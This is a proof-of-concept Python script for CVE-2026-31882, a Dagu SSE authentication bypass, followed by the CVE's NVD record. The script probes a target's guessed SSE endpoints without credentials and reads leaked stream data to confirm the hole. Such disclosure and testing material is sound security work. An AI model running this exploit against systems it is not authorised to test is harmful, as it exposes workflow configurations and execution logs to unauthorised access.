CVE-2026-31882

import requests import sys # CVE-2026-31882 PoC - Dagu SSE Endpoint Authentication Bypass # Target: Dagu < 2.2.4 with DAGU_AUTH_MODE=basic def check_sse_auth_bypass(target_url): """ Check if SSE endpoints are accessible without authentication when basic auth mode is configured. """ sse_endpoints = [ "/sse", "/api/sse", "/stream", "/api/stream", "/api/v1/sse", "/api/v1/events" ] print(f"[*] Testing SSE endpoints on {target_url}") print(f"[*] CVE-2026-31882: Dagu SSE Authentication Bypass\n") for endpoint in sse_endpoints: url = target_url.rstrip('/') + endpoint try: # Send request without any authentication response = requests.get(url, timeout=10, stream=True) # Check if we get SSE data or auth is bypassed if response.status_code == 200: content_type = response.headers.get('Content-Type', '') if 'text/event-stream' in content_type or 'text/plain' in content_type: print(f"[+] VULNERABLE: {url}") print(f" Status: {response.status_code}") print(f" Content-Type: {content_type}") print(f" SSE endpoint accessible without authentication!") # Try to read some data try: response.raw.read(100) print(f" Data leak confirmed!") except: pass print() return True elif response.status_code == 401: print(f"[-] Protected: {url} (401 Unauthorized)") else: print(f"[?] Unknown: {url} ({response.status_code})") except requests.exceptions.Timeout: print(f"[!] Timeout: {url}") except Exception as e: print(f"[!] Error: {url} - {str(e)}") print("\n[*] No vulnerable SSE endpoints found.") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2026-31882.py <target_url>") print("Example: python cve-2026-31882.py http://localhost:8080") sys.exit(1) target = sys.argv[1] check_sse_auth_bypass(target)

{"cve": {"id": "CVE-2026-31882", "sourceIdentifier": "[email protected]", "published": "2026-03-13T19:54:37.000", "lastModified": "2026-03-18T20:14:20.940", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Dagu is a workflow engine with a built-in Web user interface. Prior to 2.2.4, when Dagu is configured with HTTP Basic authentication (DAGU_AUTH_MODE=basic), all Server-Sent Events (SSE) endpoints are accessible without any credentials. This allows unauthenticated attackers to access real-time DAG execution data, workflow configurations, execution logs, and queue status — bypassing the authentication that protects the REST API. The buildStreamAuthOptions() function builds authentication options for SSE/streaming endpoints. When the auth mode is basic, it returns an auth.Options struct with BasicAuthEnabled: true but AuthRequired defaults to false (Go zero value). The authentication middleware at internal/service/frontend/auth/middleware.go allows unauthenticated requests when AuthRequired is false. This vulnerability is fixed in 2.2.4."}, {"lang": "es", "value": "Dagu es un motor de flujo de trabajo con una interfaz de usuario web integrada. Antes de la versión 2.2.4, cuando Dagu está configurado con autenticación HTTP básica (DAGU_AUTH_MODE=basic), todos los puntos finales de Server-Sent Events (SSE) son accesibles sin ninguna credencial. Esto permite a atacantes no autenticados acceder a datos de ejecución de DAG en tiempo real, configuraciones de flujo de trabajo, registros de ejecución y estado de la cola — eludiendo la autenticación que protege la API REST. La función buildStreamAuthOptions() construye opciones de autenticación para puntos finales SSE/streaming. Cuando el modo de autenticación es básico, devuelve una estructura auth.Options con BasicAuthEnabled: true pero AuthRequired por defecto es false (valor cero de Go). El middleware de autenticación en internal/service/frontend/auth/middleware.go permite solicitudes no autenticadas cuando AuthRequired es false. Esta vulnerabilidad se corrige en la versión 2.2.4."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-306"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:dagu:dagu:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.2.4", "matchCriteriaId": "681DF7E8-8500-4F63-8E04-FC8AB4CAFD3A"}]}]}], "references": [{"url": "https://github.com/dagu-org/dagu/commit/064616c9b80c04824c1c7c357308f77f3f24d775", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/dagu-org/dagu/pull/1752", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/dagu-org/dagu/releases/tag/v2.2.4", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/dagu-org/dagu/security/advisories/GHSA-9wmw-9wph-2vwp", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}